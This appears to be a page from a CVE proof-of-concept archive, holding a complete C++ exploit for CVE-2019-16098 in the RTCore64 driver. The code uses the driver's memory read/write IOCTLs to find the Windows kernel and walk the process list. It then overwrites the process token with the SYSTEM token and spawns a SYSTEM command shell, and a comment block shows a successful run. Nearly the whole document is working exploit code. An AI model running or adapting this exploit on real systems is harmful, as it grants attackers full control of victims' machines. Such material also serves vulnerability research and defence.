4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2019-16098.cpp CPP
// WARNING: Hardcoded Windows 10 x64 Version 1903 offsets!

// Microsoft Windows [Version 10.0.18362.295]
// (c) 2019 Microsoft Corporation. All rights reserved.
//
// C:\Users\Barakat\source\repos\CVE-2019-16098>whoami
// Barakat
//
// C:\Users\Barakat\source\repos\CVE-2019-16098>out\build\x64-Debug\CVE-2019-16098.exe
// [*] Device object handle has been obtained
// [*] Ntoskrnl base address: FFFFF80734200000
// [*] PsInitialSystemProcess address: FFFFC288A607F300
// [*] System process token: FFFF9703A9E061B0
// [*] Current process address: FFFFC288B7959400
// [*] Current process token: FFFF9703B9D785F0
// [*] Stealing System process token ...
// [*] Spawning new shell ...
// Microsoft Windows [Version 10.0.18362.295]
// (c) 2019 Microsoft Corporation. All rights reserved.
//
// C:\Users\Barakat\source\repos\CVE-2019-16098>whoami
// SYSTEM
//
// C:\Users\Barakat\source\repos\CVE-2019-16098>

#include <Windows.h>
#include <cstdio>


struct RTCORE64_MSR_READ
{
  DWORD Register;
  DWORD ValueHigh;
  DWORD ValueLow;
};

static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");

struct RTCORE64_MEMORY_READ
{
  BYTE Pad0[8];
  DWORD64 Address;
  BYTE Pad1[8];
  DWORD ReadSize;
  DWORD Value;
  BYTE Pad3[16];
};

static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");

struct RTCORE64_MEMORY_WRITE
{
  BYTE Pad0[8];
  DWORD64 Address;
  BYTE Pad1[8];
  DWORD ReadSize;
  DWORD Value;
  BYTE Pad3[16];
};

static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");


static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;


void
Log(const char* Message, ...)
{
  const auto file = stderr;

  va_list Args;
  va_start(Args, Message);
  std::vfprintf(file, Message, Args);
  std::fputc('\n', file);
  va_end(Args);
}


DWORD
ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address)
{
  RTCORE64_MEMORY_READ MemoryRead{};
  MemoryRead.Address = Address;
  MemoryRead.ReadSize = Size;

  DWORD BytesReturned;

  DeviceIoControl(Device,
                  RTCORE64_MEMORY_READ_CODE,
                  &MemoryRead,
                  sizeof(MemoryRead),
                  &MemoryRead,
                  sizeof(MemoryRead),
                  &BytesReturned,
                  nullptr);

  return MemoryRead.Value;
}


void
WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value)
{
  RTCORE64_MEMORY_READ MemoryRead{};
  MemoryRead.Address = Address;
  MemoryRead.ReadSize = Size;
  MemoryRead.Value = Value;

  DWORD BytesReturned;

  DeviceIoControl(Device,
                  RTCORE64_MEMORY_WRITE_CODE,
                  &MemoryRead,
                  sizeof(MemoryRead),
                  &MemoryRead,
                  sizeof(MemoryRead),
                  &BytesReturned,
                  nullptr);
}


WORD
ReadMemoryWORD(HANDLE Device, DWORD64 Address)
{
  return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
}


DWORD
ReadMemoryDWORD(HANDLE Device, DWORD64 Address)
{
  return ReadMemoryPrimitive(Device, 4, Address);
}


DWORD64
ReadMemoryDWORD64(HANDLE Device, DWORD64 Address)
{
  return (static_cast<DWORD64>(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
}


void
WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value)
{
  WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
  WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}


int main()
{
  const auto Device = CreateFileW(LR"(\\.\RTCore64)",
                                  GENERIC_READ | GENERIC_WRITE,
                                  0,
                                  nullptr,
                                  OPEN_EXISTING,
                                  0,
                                  nullptr);

  if (Device == INVALID_HANDLE_VALUE)
  {
    Log("[!] Unable to obtain a handle to the device object");
    return -1;
  }

  Log("[*] Device object handle has been obtained");

  // Leaking Ntoskrnl.exe base address
  RTCORE64_MSR_READ MsrRead{};
  MsrRead.Register = 0xc0000082;

  DWORD BytesReturned;

  DeviceIoControl(Device,
                  RTCORE64_MSR_READ_CODE,
                  &MsrRead,
                  sizeof(MsrRead),
                  &MsrRead,
                  sizeof(MsrRead),
                  &BytesReturned,
                  nullptr);

  auto PageWithinNtoskrnl = (MsrRead.ValueLow & 0xfffff000) | (static_cast<DWORD64>(MsrRead.ValueHigh) << 32);

  for (;;)
  {
    if (ReadMemoryWORD(Device, PageWithinNtoskrnl) == 0x5a4d)
    {
      break;
    }

    PageWithinNtoskrnl -= 0x1000;
  }

  const auto NtoskrnlBaseAddress = PageWithinNtoskrnl;
  Log("[*] Ntoskrnl base address: %p", NtoskrnlBaseAddress);

  // Locating PsInitialSystemProcess address
  HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");
  const DWORD64 PsInitialSystemProcessOffset = reinterpret_cast<DWORD64>(
    GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - reinterpret_cast<DWORD64>(Ntoskrnl);
  FreeLibrary(Ntoskrnl);
  const DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device,
                                                                  NtoskrnlBaseAddress + PsInitialSystemProcessOffset);
  Log("[*] PsInitialSystemProcess address: %p", PsInitialSystemProcessAddress);

  // Windows 10 (x64) Version 1903
  const DWORD64 UniqueProcessIdOffset = 0x02e8;
  const DWORD64 ActiveProcessLinksOffset = 0x02f0;
  const DWORD64 TokenOffset = 0x0360;

  // Get token value of System process
  const DWORD64 SystemProcessToken = ReadMemoryDWORD64(Device, PsInitialSystemProcessAddress + TokenOffset) & ~15;
  Log("[*] System process token: %p", SystemProcessToken);

  // Find our process in active process list
  const DWORD64 CurrentProcessId = static_cast<DWORD64>(GetCurrentProcessId());
  DWORD64 ProcessHead = PsInitialSystemProcessAddress + ActiveProcessLinksOffset;
  DWORD64 CurrentProcessAddress = ProcessHead;

  do
  {
    const DWORD64 ProcessAddress = CurrentProcessAddress - ActiveProcessLinksOffset;
    const auto UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + UniqueProcessIdOffset);
    if (UniqueProcessId == CurrentProcessId)
    {
      break;
    }
    CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + ActiveProcessLinksOffset);
  }
  while (CurrentProcessAddress != ProcessHead);

  CurrentProcessAddress -= ActiveProcessLinksOffset;
  Log("[*] Current process address: %p", CurrentProcessAddress);

  // Reading current process token
  const DWORD64 CurrentProcessFastToken = ReadMemoryDWORD64(Device, CurrentProcessAddress + TokenOffset);
  const DWORD64 CurrentProcessTokenReferenceCounter = CurrentProcessFastToken & 15;
  const DWORD64 CurrentProcessToken = CurrentProcessFastToken & ~15;
  Log("[*] Current process token: %p", CurrentProcessToken);

  // Stealing System process token
  Log("[*] Stealing System process token ...");
  WriteMemoryDWORD64(Device, CurrentProcessAddress + TokenOffset,
                     CurrentProcessTokenReferenceCounter | SystemProcessToken);

  // Cleanup
  CloseHandle(Device);

  // Spawn a new shell
  Log("[*] Spawning new shell ...");

  STARTUPINFOW StartupInfo{};
  StartupInfo.cb = sizeof(StartupInfo);
  PROCESS_INFORMATION ProcessInformation;

  CreateProcessW(LR"(C:\Windows\System32\cmd.exe)",
                 nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr,
                 &StartupInfo,
                 &ProcessInformation);

  WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
  CloseHandle(ProcessInformation.hThread);
  CloseHandle(ProcessInformation.hProcess);
}